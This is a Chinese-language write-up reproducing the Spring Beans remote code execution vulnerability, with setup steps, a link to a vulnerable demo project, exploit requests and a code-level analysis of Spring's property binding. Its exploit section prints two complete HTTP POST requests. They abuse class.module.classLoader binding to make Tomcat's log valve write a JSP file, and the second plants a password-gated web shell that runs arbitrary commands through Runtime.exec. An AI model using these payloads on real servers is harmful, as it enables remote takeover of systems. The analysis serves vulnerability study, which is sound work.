Spring Beans RCE 复现
一、环境需求
JDK9及其以上版本;
使⽤了Spring-beans包;
使⽤了Spring参数绑定;
Spring参数绑定使⽤的是⾮基本参数类型,
二、环境搭建
https://www.o2oxy.cn/wp-content/uploads/2022/03/spring-RCE-.zip
直接解压使用IDEA 配合Tomcat 启动即可
三、漏洞利用
POST /news HTTP/1.1 Host: 192.168.66.101:8811 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 311 class.module.classLoader.resources.context.parent.pipeline.first.prefix=ddd2d&class.module.classLoader.resources.context.parent.pipeline.first.pattern=12&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
写入木马
POST /news HTTP/1.1 Host: 192.168.66.101:8811 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 suffix:%>// c1:Runtime c2:<% Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 670 class.module.classLoader.resources.context.parent.pipeline.first.prefix=ddd2d&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
四、漏洞分析
在绑定参数的地方打断点一步步跟进发现会从缓存中进行一个class 读取然后在
org.springframework.beans.AbstractNestablePropertyAccessor#processLocalProperty
protected BeanWrapperImpl.BeanPropertyHandler getLocalPropertyHandler(String propertyName) { PropertyDescriptor pd = this.getCachedIntrospectionResults().getPropertyDescriptor(propertyName); return pd != null ? new BeanWrapperImpl.BeanPropertyHandler(pd) : null; }
这里应该是从缓存中直接获取到class 对象 processLocalProperty 进行一个修改。
private void processLocalProperty(AbstractNestablePropertyAccessor.PropertyTokenHolder tokens, PropertyValue pv) { AbstractNestablePropertyAccessor.PropertyHandler ph = this.getLocalPropertyHandler(tokens.actualName); if (ph != null && ph.isWritable()) { Object oldValue = null; PropertyChangeEvent propertyChangeEvent; try { Object originalValue = pv.getValue(); Object valueToApply = originalValue; if (!Boolean.FALSE.equals(pv.conversionNecessary)) { if (pv.isConverted()) { valueToApply = pv.getConvertedValue(); } else { if (this.isExtractOldValueForEditor() && ph.isReadable()) { try { oldValue = ph.getValue(); } catch (Exception var8) { Exception ex = var8; if (var8 instanceof PrivilegedActionException) { ex = ((PrivilegedActionException)var8).getException(); } if (logger.isDebugEnabled()) { logger.debug("Could not read previous value of property '" + this.nestedPath + tokens.canonicalName + "'", ex); } } } valueToApply = this.convertForProperty(tokens.canonicalName, oldValue, originalValue, ph.toTypeDescriptor()); } pv.getOriginalPropertyValue().conversionNecessary = valueToApply != originalValue; } ph.setValue(valueToApply); } catch (TypeMismatchException var9) { throw var9; } catch (InvocationTargetException var10) { propertyChangeEvent = new PropertyChangeEvent(this.getRootInstance(), this.nestedPath + tokens.canonicalName, oldValue, pv.getValue()); if (var10.getTargetException() instanceof ClassCastException) { throw new TypeMismatchException(propertyChangeEvent, ph.getPropertyType(), var10.getTargetException()); } else { Throwable cause = var10.getTargetException(); if (cause instanceof UndeclaredThrowableException) { cause = cause.getCause(); } throw new MethodInvocationException(propertyChangeEvent, cause); } } catch (Exception var11) { propertyChangeEvent = new PropertyChangeEvent(this.getRootInstance(), this.nestedPath + tokens.canonicalName, oldValue, pv.getValue()); throw new MethodInvocationException(propertyChangeEvent, var11); } } else if (pv.isOptional()) { if (logger.isDebugEnabled()) { logger.debug("Ignoring optional value for property '" + tokens.actualName + "' - property not found on bean class [" + this.getRootClass().getName() + "]"); } } else { throw this.createNotWritablePropertyException(tokens.canonicalName); } }
参考:https://xz.aliyun.com/t/11129